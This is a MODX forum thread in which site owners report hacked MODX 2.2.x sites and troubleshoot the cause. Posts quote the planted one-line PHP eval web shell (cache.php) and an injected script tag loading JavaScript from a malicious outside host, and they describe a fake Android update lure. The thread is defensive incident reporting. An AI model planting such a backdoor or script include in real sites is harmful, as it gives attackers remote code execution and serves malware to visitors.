We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 38142
    • 91 Posts
    Just a note to see if others have had the same problem and know where exactly the vulnerability is. 5 sites using MODX Revolution 2.2.6 had a file injected in the assets folder called cache.php, the contents being:

    <?php @eval(stripslashes($_REQUEST[ev]));


    Does anyone have further information about how that occurs and what needs to be done to stop it in the future?

    All sites are now being upgraded to 2.2.8.

    • I'm not sure, but are you sure MODX caused this file upload? Are you 100% positive your FTP credentials weren't compromised? You can check your FTP logs for this and/or your access logs.
        Sterc Internet & Marketing | MODX Founding Partner | Chairman of the MODX Advisory Board

        In need of a MODX consult? Try our MODX Developers Experts!
        • 38142
        • 91 Posts
        No, we are not 100% positive about the FTP compromise. Thanks for that suggestion. We will look into it.
          • 10075
          • 20 Posts
          I am running MODx 2.2.14-pl. I have recently had this happen to me. I am absolutely certain it was not an FTP credential compromise. I do not know how the compromise happened, but I'm certain it wasn't uploaded via FTP; some other mechanism appears to be at work.

          I've done an extensive postmortem of the hacked site. Here is the information I've gleaned:

          The hacked site was hosted on a shared server on Hostgator. On or around the same time as the hack took place, the site's php.ini file was modified to turn on register_globals.

          A file called cache.php was created in the Assets folder that contained this line of code.

          Other files were modified to tamper with the site in a subtle and interesting way in an attempt to spread malware:

          1. Directly visiting any URL on the site would serve up the normal page.
          2. Clicking on any link on the site to another page on the site would cause a malicious JavaScript to be injected into the HTML just before the closing BODY tag:

          <noindex>
          <script src="http://stat.rolledwil.biz/stat.php?1921853954"></script>
          </noindex>

          3. The malicious JavaScript would examine the user-agent header of the requesting browser. For desktop browsers or mobile browsers other than Android 4.1 or eariler, it would return a 404. Formobile browsers that are running under Android 4.1 or earlier, it would pop up a JavaScript alert reading

          Warning! You must update Web browser! Update now?

          People who clicked the "OK" button in the alert would be redirected to a site that downloaded malware disguised as an Android browser update.

          The site from which this malicious Javascript is being served is hosted on Digital Ocean and its content is served over the Cloudflare CDN. I have reached out to both companies. Neither Digital Ocean nor Cloudflare have expressed any interest in resolving the issue. It is still ongoing as I write this.

          I have reuploaded known clean copies of MODx 2.2.14, changed my hosting and FTP credentials, and the problem has returned twice after taking both actions. I have reached out to Hostgator to see if there is a problem with another site or a server configuration issue on the shared hosting box the site lives on, but so far they have not found anything. I suspect this is a (possibly subtle and deeply buried) vulnerability in MODx 2.2.14 that goes back at least as far as 2.2.6.

          I've attached a screen grab of what happens when a compromised server is visited in Android. I urge MODx users to check for the existence of this malicious file.

          • Did you by chance check to see if any users exist that shouldn't?
              Author of zero books. Formerly of many strange things. Pairs well with meats. Conversations are magical experiences. He's dangerous around code but a markup magician. BlogTwitterLinkedInGitHub
              • 10075
              • 20 Posts
              I did, and found no unexpected users.
                • 3749
                • 24,544 Posts
                It seems likely that either the server itself has been compromised, or there was another file somewhere that you didn't find. As you probably know uploading a clean copy of MODX won't delete any existing files unless you wipe the site first (and even then, the offending file might not be in any MODX directory).

                  Did I help you? Buy me a beer
                  Get my Book: MODX:The Official Guide
                  MODX info for everyone: http://bobsguides.com/modx.html
                  My MODX Extras
                  Bob's Guides is now hosted at A2 MODX Hosting
                • Indeed, since the php.ini file was modified at around the same time, I would be very suspicious of the integrity of the entire server.
                    Studying MODX in the desert - http://sottwell.com
                    Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
                    Join the Slack Community - http://modx.org
                    • 47955
                    • 3 Posts
                    We are having this issue with one of the MODx cloud instance we have set up, it only appears to be occurring on one of 3 MODx instances we have, so as you suggested it may be due to server integrity I have filed a Support Request with them.
                      • 2982
                      • 2 Posts
                      Same issue here, I have 2 sites running 2.2.14 (same hosting), and one of them is infected. The problem is that i deleted the file called cache.php from the assets folder but the malicious JavaScript is still injected. Any thoughts on how to proceed?